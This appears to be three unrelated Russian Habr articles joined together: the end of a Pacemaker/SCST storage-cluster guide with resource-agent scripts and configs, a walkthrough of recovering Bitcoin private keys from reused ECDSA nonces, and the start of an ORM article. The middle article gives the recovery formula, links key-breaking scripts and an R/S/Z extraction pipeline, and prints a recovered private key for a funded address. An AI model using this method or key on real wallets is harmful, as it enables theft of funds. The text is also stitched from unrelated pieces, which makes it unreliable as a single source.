xml version="1.0"?
0.1
The SCST OCF resource agent for ESOS; includes SCST ALUA support.
SCST OCF RA script for ESOS.
Use to enable/disable updating ALUA status in SCST.
The 'alua' parameter.
The name of the SCST device group (used with ALUA support).
The 'device\_group' parameter.
The name of the SCST local target group (used with ALUA support).
The 'local\_tgt\_grp' parameter.
The name of the SCST remote target group (used with ALUA support).
The 'remote\_tgt\_grp' parameter.
The ALUA state (eg, active) for a Master node (used with ALUA support).
The 'm\_alua\_state' parameter.
The ALUA state (eg, nonoptimized) for a Slave node (used with ALUA support).
The 's\_alua\_state' parameter.
EOF
}
scst_usage() {
echo "usage: ${0} {start|stop|monitor|validate-all|promote|demote|reload|notify|meta-data}"
echo ""
echo "Expects to have a fully populated OCF RA-compliant environment set."
}
scst_promote() {
# Exit immediately if configuration is not valid
scst_validate_all || exit ${?}
# Test the resource's current state
scst_monitor
local rc=${?}
case "${rc}" in
"${OCF_SUCCESS}")
# Running as Slave; normal, expected behavior
ocf_log debug "scst_promote() -> Resource is" \
"currently running as Slave."
;;
"${OCF_RUNNING_MASTER}")
# Already a Master; unexpected, but not a problem
ocf_log info "Resource is already running as Master."
return ${OCF_SUCCESS}
;;
"${OCF_NOT_RUNNING}")
# Currently not running; need to start before promoting
ocf_log info "Resource is currently not running."
scst_start
;;
*)
# Failed resource; let the cluster manager recover
ocf_log err "Unexpected error, cannot promote."
exit ${rc}
;;
esac
# Promote only makes sense if we are using ALUA
if ocf_is_true ${OCF_RESKEY_alua}; then
check_alua
# Set the local target group to the "Master" ALUA state
ocf_log debug "scst_promote() -> Setting target group" \
"'${OCF_RESKEY_local_tgt_grp}' ALUA state to" \
"'${OCF_RESKEY_m_alua_state}'..."
ocf_run scstadmin -noprompt -set_tgrp_attr \
${OCF_RESKEY_local_tgt_grp} -dev_group \
${OCF_RESKEY_device_group} -attributes \
state\=${OCF_RESKEY_m_alua_state} || exit ${OCF_ERR_GENERIC}
# Since there can only be one Master, set the remote target group
ocf_log debug "scst_promote() -> Setting target group" \
"'${OCF_RESKEY_remote_tgt_grp}' ALUA state to" \
"'${OCF_RESKEY_s_alua_state}'..."
ocf_run scstadmin -noprompt -set_tgrp_attr \
${OCF_RESKEY_remote_tgt_grp} -dev_group \
${OCF_RESKEY_device_group} -attributes \
state\=${OCF_RESKEY_s_alua_state} || exit ${OCF_ERR_GENERIC}
else
ocf_log err "The ALUA parameters need to be configured before using MS."
exit ${OCF_ERR_CONFIGURED}
fi
# After the resource has been promoted, check whether the promotion worked
while true; do
scst_monitor
if [ ${?} -eq ${OCF_RUNNING_MASTER} ]; then
ocf_log info "Resource was promoted successfully."
break
else
ocf_log debug "scst_promote() -> Resource still" \
"awaiting promotion."
sleep 1
fi
done
# Only return $OCF_SUCCESS if _everything_ succeeded as expected
return ${OCF_SUCCESS}
}
scst_demote() {
# Exit immediately if configuration is not valid
scst_validate_all || exit ${?}
# Test the resource's current state
scst_monitor
local rc=${?}
case "${rc}" in
"${OCF_RUNNING_MASTER}")
# Running as Master; normal, expected behavior
ocf_log debug "scst_demote() -> Resource is" \
"currently running as Master."
;;
"${OCF_SUCCESS}")
# Already running as Slave; nothing to do
ocf_log debug "scst_demote() -> Resource is" \
"currently running as Slave."
return ${OCF_SUCCESS}
;;
"${OCF_NOT_RUNNING}")
# Not running; getting a demote action in this state is unexpected
ocf_log err "Resource is currently not running."
exit ${OCF_ERR_GENERIC}
;;
*)
# Failed resource; let the cluster manager recover
ocf_log err "Unexpected error, cannot demote."
exit ${rc}
;;
esac
# Demote only makes sense if we are using ALUA
if ocf_is_true ${OCF_RESKEY_alua}; then
check_alua
# Set the local target group to the "Slave" ALUA state
ocf_log debug "scst_demote() -> Setting target group" \
"'${OCF_RESKEY_local_tgt_grp}' ALUA state to" \
"'${OCF_RESKEY_s_alua_state}'..."
ocf_run scstadmin -noprompt -set_tgrp_attr \
${OCF_RESKEY_local_tgt_grp} -dev_group \
${OCF_RESKEY_device_group} -attributes \
state\=${OCF_RESKEY_s_alua_state} || exit ${OCF_ERR_GENERIC}
# If we're a Slave, we assume the remote side is the Master
ocf_log debug "scst_demote() -> Setting target group" \
"'${OCF_RESKEY_remote_tgt_grp}' ALUA state to" \
"'${OCF_RESKEY_m_alua_state}'..."
ocf_run scstadmin -noprompt -set_tgrp_attr \
${OCF_RESKEY_remote_tgt_grp} -dev_group \
${OCF_RESKEY_device_group} -attributes \
state\=${OCF_RESKEY_m_alua_state} || exit ${OCF_ERR_GENERIC}
else
ocf_log err "The ALUA parameters need to be configured before using MS."
exit ${OCF_ERR_CONFIGURED}
fi
# After the resource has been demoted, check whether the demotion worked
while true; do
scst_monitor
if [ ${?} -eq ${OCF_RUNNING_MASTER} ]; then
ocf_log debug "scst_demote() -> Resource still" \
"awaiting demotion."
sleep 1
else
ocf_log info "Resource was demoted successfully."
break
fi
done
# Only return $OCF_SUCCESS if _everything_ succeeded as expected
return ${OCF_SUCCESS}
}
scst_notify() {
# We're currently not using this
ocf_log debug "scst_notify() -> Received a" \
"'${OCF_RESKEY_CRM_meta_notify_type}' /" \
"'${OCF_RESKEY_CRM_meta_notify_operation}' notification."
return ${OCF_SUCCESS}
}
check_alua() {
# Make sure the directories exist in the SCST sysfs structure
if [ ! -d "${SCST_SYSFS}/device_groups/${OCF_RESKEY_device_group}" ]; then
ocf_log err "The '${OCF_RESKEY_device_group}' device group does not exist!"
exit ${OCF_ERR_INSTALLED}
fi
target_groups="${SCST_SYSFS}/device_groups/${OCF_RESKEY_device_group}/target_groups"
if [ ! -d "${target_groups}/${OCF_RESKEY_local_tgt_grp}" ]; then
ocf_log err "The '${OCF_RESKEY_local_tgt_grp}' target group does not exist!"
exit ${OCF_ERR_INSTALLED}
fi
if [ ! -d "${target_groups}/${OCF_RESKEY_remote_tgt_grp}" ]; then
ocf_log err "The '${OCF_RESKEY_remote_tgt_grp}' target group does not exist!"
exit ${OCF_ERR_INSTALLED}
fi
# Check that the given ALUA states are valid
local valid_m_alua_state=0
local valid_s_alua_state=0
for i in ${ALUA_STATES}; do
if [ "x${OCF_RESKEY_m_alua_state}" = "x${i}" ]; then
valid_m_alua_state=1
fi
if [ "x${OCF_RESKEY_s_alua_state}" = "x${i}" ]; then
valid_s_alua_state=1
fi
done
if [ ${valid_m_alua_state} -eq 0 ]; then
ocf_log err "The 'm_alua_state' value is not valid: ${OCF_RESKEY_m_alua_state}"
exit ${OCF_ERR_INSTALLED}
fi
if [ ${valid_s_alua_state} -eq 0 ]; then
ocf_log err "The 's_alua_state' value is not valid: ${OCF_RESKEY_s_alua_state}"
exit ${OCF_ERR_INSTALLED}
fi
}
# Make sure meta-data and usage always succeed
case ${__OCF_ACTION} in
meta-data)
scst_meta_data
exit ${OCF_SUCCESS}
;;
usage|help)
scst_usage
exit ${OCF_SUCCESS}
;;
esac
# Anything other than meta-data and usage must pass validation
scst_validate_all || exit ${?}
# Translate each action into the appropriate function call
case ${__OCF_ACTION} in
start)
scst_start
;;
stop)
scst_stop
;;
status|monitor)
scst_monitor
;;
notify)
scst_notify
;;
promote)
scst_promote
;;
demote)
scst_demote
;;
reload)
ocf_log info "Reloading..."
scst_start
;;
validate-all)
;;
migrate_to|migrate_from)
scst_usage
exit ${OCF_ERR_UNIMPLEMENTED}
;;
*)
scst_usage
exit ${OCF_ERR_UNIMPLEMENTED}
;;
esac
# Log a debug message and exit
rc=${?}
ocf_log debug "${OCF_RESOURCE_INSTANCE} ${__OCF_ACTION} returned: ${rc}"
exit ${rc}
```
Сей файл нужно положить под именем **/usr/lib/ocf/resource.d/esos/scst** и сделать исполняемым.
Так как для устойчивости кластера двух нод мало (будет Split-Brain если связность нарушится), то у нас будет ещё третья нода, которая будет создавать кворум, но никаких ресурсов исполнять не будет. Тут вступает в игру такая особенность Pacemaker, что «здоровье» ресурсов проверяется на всех нодах кластера вне зависимости от того может ли там исполняться этот ресурс вообще или нет (в новых версиях вроде добавили какой-то признак, отключающий эту фичу, но в версии из репозитория Debian такого счастья еще вроде нет). Поэтому для кворум-ноды нам понадобится фейковый ресурс который будет просто говорить «в Багдаде всё спокойно».
**Фейковый ресурс**
```
#! /bin/sh
#
# $Id$
#
# Resource Agent for managing the Generic SCSI Target Subsystem
# for Linux (SCST) and related daemons.
#
# License: GNU General Public License (GPL)
# (c) 2012-2014 Marc A. Smith
#
# Initialization
: ${OCF_FUNCTIONS_DIR=${OCF_ROOT}/lib/heartbeat}
. ${OCF_FUNCTIONS_DIR}/ocf-shellfuncs
MODULES="scst scst_vdisk qla2x00tgt"
SCST_CFG="/etc/scst.conf"
PRE_SCST_CONF="/etc/pre-scst_xtra_conf"
POST_SCST_CONF="/etc/post-scst_xtra_conf"
SCST_SYSFS="/sys/kernel/scst_tgt"
ALUA_STATES="active nonoptimized standby unavailable offline transitioning"
NO_CLOBBER="/tmp/scst_ra-no_clobber"
scst_monitor() {
return ${OCF_NOT_RUNNING}
}
scst_meta_data() {
cat <<-EOF
xml version="1.0"?
0.1
The SCST OCF resource agent for ESOS; includes SCST ALUA support.
SCST OCF RA script for ESOS.
Use to enable/disable updating ALUA status in SCST.
The 'alua' parameter.
The name of the SCST device group (used with ALUA support).
The 'device\_group' parameter.
The name of the SCST local target group (used with ALUA support).
The 'local\_tgt\_grp' parameter.
The name of the SCST remote target group (used with ALUA support).
The 'remote\_tgt\_grp' parameter.
The ALUA state (eg, active) for a Master node (used with ALUA support).
The 'm\_alua\_state' parameter.
The ALUA state (eg, nonoptimized) for a Slave node (used with ALUA support).
The 's\_alua\_state' parameter.
EOF
}
scst_usage() {
echo "usage: ${0} {start|stop|monitor|validate-all|promote|demote|reload|notify|meta-data}"
echo ""
echo "Expects to have a fully populated OCF RA-compliant environment set."
}
# Make sure meta-data and usage always succeed
case ${__OCF_ACTION} in
meta-data)
scst_meta_data
exit ${OCF_SUCCESS}
;;
usage|help)
scst_usage
exit ${OCF_SUCCESS}
;;
esac
# Translate each action into the appropriate function call
case ${__OCF_ACTION} in
start)
;;
stop)
;;
status|monitor)
scst_monitor
;;
notify)
;;
promote)
;;
demote)
;;
reload)
ocf_log info "Reloading..."
;;
validate-all)
;;
migrate_to|migrate_from)
scst_usage
exit ${OCF_ERR_UNIMPLEMENTED}
;;
*)
scst_usage
exit ${OCF_ERR_UNIMPLEMENTED}
;;
esac
# Log a debug message and exit
rc=${?}
ocf_log debug "${OCF_RESOURCE_INSTANCE} ${__OCF_ACTION} returned: ${rc}"
exit ${rc}
```
Его положить на кворум-ноду аналогично основным нодам.
Так, напоследок создадим массивы и настроим конфигурацию SCST.
Для первой части, наверное, хватит.
Поглядим какие девайсы у нас есть:
**storcli64 /c0/eall/sall show**
```
Controller = 0
Status = Success
Description = Show Drive Information Succeeded.
Drive Information :
=================
-------------------------------------------------------------------------
EID:Slt DID State DG Size Intf Med SED PI SeSz Model Sp
-------------------------------------------------------------------------
37:0 61 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:1 62 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:2 63 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:3 64 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:4 65 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:5 66 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:6 67 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:7 68 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:8 69 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:9 70 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:10 71 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:11 72 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:12 73 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:13 74 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:14 75 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:15 76 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:16 77 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:17 78 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:18 15 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:19 19 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:20 79 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:21 80 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:22 81 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
37:23 82 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:0 8 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:1 9 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:2 10 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:3 11 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:4 12 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:5 14 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:6 21 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:7 22 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:8 23 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:9 24 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:10 18 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:11 17 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:12 25 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:13 26 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:14 16 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:15 27 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:16 28 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:17 29 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:18 30 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:19 31 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:20 32 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:21 33 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:22 34 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
59:23 35 UGood - 372.093 GB SAS SSD N N 512B S842E400M2 U
-------------------------------------------------------------------------
```
Понятно, значит будем созавать два RAID6 массива (23 + 1 Hot Spare), по одному на каждом бэкплейне:
```
# storcli /c0 add vd r6 name=SSD-RAID6-1 drives=37:0-22 WT nora direct Strip=64
# storcli /c0 add vd r6 name=SSD-RAID6-2 drives=59:0-22 WT nora direct Strip=64
```
Это рекомендованные параметры LSI для SSD. Судя по моим тестам размер страйпа от 8Кб до 128Кб почти никак не влияет на скорость работы.
Конфигурация SCST: /etc/scst.conf
**Сервер-1 (с комментариями)**
```
# Перечисляем устройства
## Режим blockio работает с устройствами минуя ядерный Page Cache, для SSD самое то
HANDLER vdisk_blockio {
## Нужно иметь в виду, что исходя из имени устройства SCST генерирует поля t10_dev_id и usn
## по которым ESXi идентифицирует LUN.
DEVICE SSD-RAID6-1 {
## Уникальный путь к устройству (отвязываемся от именования /dev/sdX)
filename /dev/disk/by-id/scsi-3600605b008b4be401c91ac4abce21c9b
## Отключаем кеш записи
write_through 1
## Говорим что это SSD
rotational 0
}
DEVICE SSD-RAID6-2 {
filename /dev/disk/by-id/scsi-3600605b008b4be401c91ac53bd668eda
write_through 1
rotational 0
}
}
# Настройка таргетов
TARGET_DRIVER qla2x00t {
## WWN порта, свои смотреть в /sys/kernel/scst_tgt/targets/qla2x00t
TARGET 21:00:00:24:ff:54:09:32 {
HW_TARGET
enabled 1
# Порядковый номер в ALUA группе (1-4 у первого сервера и 5-8 у второго)
rel_tgt_id 1
## Добавляем в него наши девайсы
LUN 0 SSD-RAID6-1
LUN 1 SSD-RAID6-2
}
TARGET 21:00:00:24:ff:54:09:33 {
HW_TARGET
enabled 1
rel_tgt_id 2
LUN 0 SSD-RAID6-1
LUN 1 SSD-RAID6-2
}
TARGET 21:00:00:24:ff:54:09:80 {
HW_TARGET
enabled 1
rel_tgt_id 3
LUN 0 SSD-RAID6-1
LUN 1 SSD-RAID6-2
}
TARGET 21:00:00:24:ff:54:09:81 {
HW_TARGET
enabled 1
rel_tgt_id 4
LUN 0 SSD-RAID6-1
LUN 1 SSD-RAID6-2
}
}
# Группа ALUA, имя произвольное
DEVICE_GROUP default {
## Добавляем устройства в группу
DEVICE SSD-RAID6-1
DEVICE SSD-RAID6-2
## Группа портов в Сервере-1, имя произвольное
TARGET_GROUP local {
## ID группы, произвольное
group_id 256
## ALUA статус
state active
## Порты Сервера-1
TARGET 21:00:00:24:ff:54:09:32
TARGET 21:00:00:24:ff:54:09:33
TARGET 21:00:00:24:ff:54:09:80
TARGET 21:00:00:24:ff:54:09:81
}
## Группа портов Сервера-2
TARGET_GROUP remote {
group_id 257
## ALUA статус
state nonoptimized
## Порты Сервера-2 и их порядковые номера
TARGET 21:00:00:24:ff:4a:af:b2 {
rel_tgt_id 5
}
TARGET 21:00:00:24:ff:4a:af:b3 {
rel_tgt_id 6
}
TARGET 21:00:00:24:ff:54:09:06 {
rel_tgt_id 7
}
TARGET 21:00:00:24:ff:54:09:07 {
rel_tgt_id 8
}
}
}
```
**Сервер-2 (симметрично)**
```
HANDLER vdisk_blockio {
DEVICE SSD-RAID6-1 {
filename /dev/disk/by-id/scsi-3600605b008b4be401c91ac4abce21c9b
write_through 1
rotational 0
}
DEVICE SSD-RAID6-2 {
filename /dev/disk/by-id/scsi-3600605b008b4be401c91ac53bd668eda
write_through 1
rotational 0
}
}
TARGET_DRIVER qla2x00t {
TARGET 21:00:00:24:ff:4a:af:b2 {
HW_TARGET
enabled 1
rel_tgt_id 5
LUN 0 SSD-RAID6-1
LUN 1 SSD-RAID6-2
}
TARGET 21:00:00:24:ff:4a:af:b3 {
HW_TARGET
enabled 1
rel_tgt_id 6
LUN 0 SSD-RAID6-1
LUN 1 SSD-RAID6-2
}
TARGET 21:00:00:24:ff:54:09:06 {
HW_TARGET
enabled 1
rel_tgt_id 7
LUN 0 SSD-RAID6-1
LUN 1 SSD-RAID6-2
}
TARGET 21:00:00:24:ff:54:09:07 {
HW_TARGET
enabled 1
rel_tgt_id 8
LUN 0 SSD-RAID6-1
LUN 1 SSD-RAID6-2
}
}
DEVICE_GROUP default {
DEVICE SSD-RAID6-1
DEVICE SSD-RAID6-2
TARGET_GROUP local {
group_id 257
state nonoptimized
TARGET 21:00:00:24:ff:4a:af:b2
TARGET 21:00:00:24:ff:4a:af:b3
TARGET 21:00:00:24:ff:54:09:06
TARGET 21:00:00:24:ff:54:09:07
}
TARGET_GROUP remote {
group_id 256
state active
TARGET 21:00:00:24:ff:54:09:32 {
rel_tgt_id 1
}
TARGET 21:00:00:24:ff:54:09:33 {
rel_tgt_id 2
}
TARGET 21:00:00:24:ff:54:09:80 {
rel_tgt_id 3
}
TARGET 21:00:00:24:ff:54:09:81 {
rel_tgt_id 4
}
}
}
```
Всё, для первой части, думаю, достаточно. Надеюсь, что скоро осилю вторую :) | https://habr.com/ru/post/252403/ | null | ru | null |
# Самая первая серьезная уязвимость в Blockchain и как получить публичный ключ Bitcoin ECDSA значение RSZ из файла RawTX
 В этой статье мы поговорим о извлечение значений подписи `ECDSA R, S, Z` из блокчейна Биткойн, но для начало вспомним о самой первой серьезной уязвимости в транзакции блокчейн которую обнаружил [Нильс Шнайдер](https://github.com/tcatm) (`Nils Schneider` *он же* – [**tcatm**](https://github.com/tcatm))
Биткоин-разработчик и владелец *"BitcoinWatch"* & *"BitcoinCharts".*
4.1 История опасных случайных Атак на Биткоин
> Document `[PDF]`: [*Private Key Recovery Combination Attacks: On Extreme Fragility of Popular Bitcoin Key Management, Wallet and Cold Storage Solutions in Presence of Poor RNG Events*](https://eprint.iacr.org/2014/848.pdf)
>
>
*25 декабря 2012 года* Нильс обнаружил потенциальную слабость в некоторых транзакциях блокчейна Биткойна.
**Посмотрите на эту транзакцию:**
`transaction:` [9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1](https://www.blockchain.com/btc/tx/9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1)
---
---
```
input script 1:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
input script 2:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
```
Эта транзакция имеет два входа и один выход.
Если вы внимательно посмотрите на два входных скрипта, то заметите, что в начале и в конце есть довольно много одинаковых байтов.
Эти байты в конце представляют собой закодированный в шестнадцатеричном формате публичный ключ адреса, на который расходуются монеты, так что в этом нет ничего плохого.
Однако первая половина скрипта — это фактическая подпись `(r, s)`:
```
r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
```
> Как видите, `r1` равно `r2`. *Это* ***огромная проблема****.*
>
>
> Мы сможем восстановить **закрытый ключ** на этот публичный ключ:
>
> `04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff`
>
>
Для этого мы можем воспользоваться простой формулой из школьной алгебры ;)
```
private key = (z1*s2 - z2*s1)/(r*(s1-s2))
```
Нам просто нужно найти `z1` и `z2`
Это `хэши` выходов, которые нужно подписать. Давайте получим выходные транзакции и посчитаем их (вычисляется `OP_CHECKSIG`):
```
z1: c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2: 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc
```
Далее упакуем все эти значение в один *Python*-*скрипт:* [vulnerabilityR.py](https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography/vulnerabilityR.py)
Python-скрипт: vulnerabilityR.py`p` — это всего лишь порядок `G`, параметра кривой `secp256k1`, используемой Биткойном.
Создадим поле для наших вычислений:
```
K = GF(p)
```
```
K((z1*s2 - z2*s1)/(r*(s1-s2)))
```
Запускаем скрипт: `python3 vulnerabilityR.py`
Далее наш скрипт: [vulnerabilityR.py](https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography/vulnerabilityR.py) вычислит **закрытый ключ** в этом поле:
```
ADDR: 1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm
WIF: 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ
hex: c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96
```
Проверяем закрытый ключ на сайте bitaddress*Закрытый ключ найден!*
<https://www.blockchain.com/btc/address/1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm>
0.1638109 BTC
> Конечно же, разработчики Биткоина устранили эту уязвимость внедрив детерминированные функции.
>
> Эта функция `RFC 6979` вносит в подпись Биткоина элемент случайности, что усиливает криптостойкость транзакции `ECDSA`
>
>
Document `[PDF]`:[*RFC 6979: Deterministic Usage of the Digital Signature Algorithm (DSA) and Elliptic Curve Digital Signature Algorithm (ECDSA)*](https://datatracker.ietf.org/doc/html/rfc6979)
---
Как мы знаем на практике в блокчейне Биткоина есть совершенно другие уязвимые транзакции.
-----------------------------------------------------------------------------------------
> Ранее мы опубликовали `статью`: [*«Одна слабая транзакция в ECDSA в блокчейне Биткоина и с помощью Lattice Attack мы получили Private Key к монетам BTC»*](https://habr.com/ru/post/671932/)
>
>
https://habr.com/ru/post/671932/Теперь давайте самостоятельно получим публичный ключ `Bitcoin` `ECDSA` и значение `R, S, Z` из файла [«RawTX.json»](https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography/RawTX.json) (который мы получили в [**01BlockchainGoogleDrive**](https://github.com/demining/CryptoDeepTools/tree/main/01BlockchainGoogleDrive) )
* Для этого воспользуемся Терминалом для Google Colab [[**TerminalGoogleColab]**](https://github.com/demining/TerminalGoogleColab)
* Ранее я записывал видеоматериал: [**«TERMINAL в Google Colab создаем все удобства для работ в GITHUB»**](https://www.youtube.com/watch?v=S2D7PI6dK08)
* Давайте перейдем по репозитории [**«CryptoDeepTools»**](https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography) для детального криптоанализа и разберем в детали работу *Bash-скрипта*: [getsign.sh](https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography/getsign.sh)
КомандыФайлыКод нашего Bash-скрипта: getsign.sh
> И так давайте разберем в детали всю работу *Bash-скрипта*: [getsign.sh](https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography/getsign.sh)
>
>
```
cat RawTX.json > index.json
```
Делаем копию файла `RawTX.json` в новый файл `index.json`
```
for run in {1..4}; do
```
Открываем `ЦИКЛ` так как в файле `index.json` *4 строк* берем `{1..4}`
```
export LINE=1 ; sed -n "${LINE}p" index.json > index2.json
```
Утилита `export` берет *строку №1* и сохраняет в новом файле `index2.json`
```
sed -i '1d' index.json
```
Утилита `sed` удаляет *строку №1* из файла `index.json`
Утилита echo создает нам Python-скрипт fileopen.py
```
python3 fileopen.py
```
Запускаем *Python-скрипт* `fileopen.py` и с успешно создает новый *Bash-скрипта*: `signscript.sh`
```
chmod +x signscript.sh
./signscript.sh
```
Получаем права на *Bash-скрипт*: signscript.sh
> В результате запускается *Python-скрипт* [breakECDSA.py](https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography/breakECDSA.py) который в итоге извлекает из `RawTX` значение `R, S, Z` и публичный ключ Bitcoin
>
> Все это сохраняется в файл: `"signatures.json"`
>
>
файл: "signatures.json" публичный ключ Bitcoin и значение R, S, Z
```
rm signscript.sh
rm fileopen.py
```
Утилита `rm` удаляет *Python-скрипт* `fileopen.py` и успешно создает новый *Bash-скрипта*: `signscript.sh`
```
done
```
В итоге все завершится после *4-х циклов*
```
rm index.json
```
Цикл закрывается и утилита `rm` удаляет `index.json`
*Bash-скрипт*: [getsign.sh](https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography/getsign.sh) `Завершает работу!`
Теперь мы научились:
--------------------
* Получать публичный ключ `Bitcoin` из `ECDSA`
* Получать значение `R, S, Z` из `ECDSA`
* Применить это для `криптоанализа`
**Исходный код:** [**https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography**](https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography)
**Telegram:**[**https://t.me/cryptodeeptech**](https://t.me/cryptodeeptech)
**Видеоматериал:**[**https://youtu.be/BYd-cuFRZmM**](https://youtu.be/BYd-cuFRZmM)
**Источник:**[**https://cryptodeep.ru/break-ecdsa-cryptography**](https://cryptodeep.ru/break-ecdsa-cryptography/)
--- | https://habr.com/ru/post/674736/ | null | ru | null |
# Использование ORM при разработке корпоративных приложений
Есть много [споров](http://habrahabr.ru/post/123293/) о плюсах и минусах [ORM](http://ru.wikipedia.org/wiki/ORM), попробуем сделать акцент на плюсах при его использовании в ERP приложениях.
Я 5 лет разрабатываю платформу для ERP, разработал три версии платформы. Всё начиналось с EAV, после была нормальная модель, хранимые процедуры, view-хи, и сейчас эволюционировало до использования ORM. Позвольте поделиться опытом, почему ORM — хорошо.
Для демонстрации преимуществ такого подхода я разработал небольшое приложение для риэлтерского агентства (вдохновение черпал из Циан, из него же и модель данных) и попробую описать, почему благодаря ORM я все сделал за 1 день.
Я являюсь сторонником CodeFirst подхода, т.к. это единственно правильно для планирования структуры бизнес-приложения.
В нашей последней [платформе](http://oreodor.com/) мы после долгого выбора решили использовать ORM [DataObjects.Net](http://dataobjects.net/), но суть статьи будет понятна для приверженца любой ORM, будь то NHibernate, Entity Framework и т.д.
Итак, спланируем простое приложение для агентства недвижимости:
Риэлтор агентства недвижимости (Агент) — вносит в систему предложения по аренде и ждет запросов от арендаторов.
Арендатор просматривает предложения, отбирает по множеству критериев интересные для него и обращается к агенту для заключения сделки.
#### Дизайн модели данных
Создание модели — это создание классов на C#, добавление свойств-полей, атрибутов, комментариев.
в коде это выглядит примерно так:
```
///
/// Предложение от арендодателя
///
[HierarchyRoot]
[Index("CreationTime", Clustered = true)]
public abstract class RentOfferBase : DocumentBase
{
…
///
/// Наименование
///
[Hidden]
[Field(Length = 64)]
public string Name { get; set; }
///
/// Дата публикации
///
[Field]
public DateTime CreationTime { get; set; }
///
/// Стоимость
///
[Field(Scale = 0)]
public decimal Price { get; set; }
///
/// Комиссия
///
[Field(Scale = 0)]
public decimal Comission { get; set; }
///
/// Валюта
/// Валюта в которой указаны цены
///
[Field(Nullable = false)]
public EnCurrency Currency { get; set; }
///
/// Линия
/// Линия метро
///
[Field]
public MetroLine Line { get; set; }
///
/// Метро
/// Станция метро расположенная рядом с объектом
///
[Field]
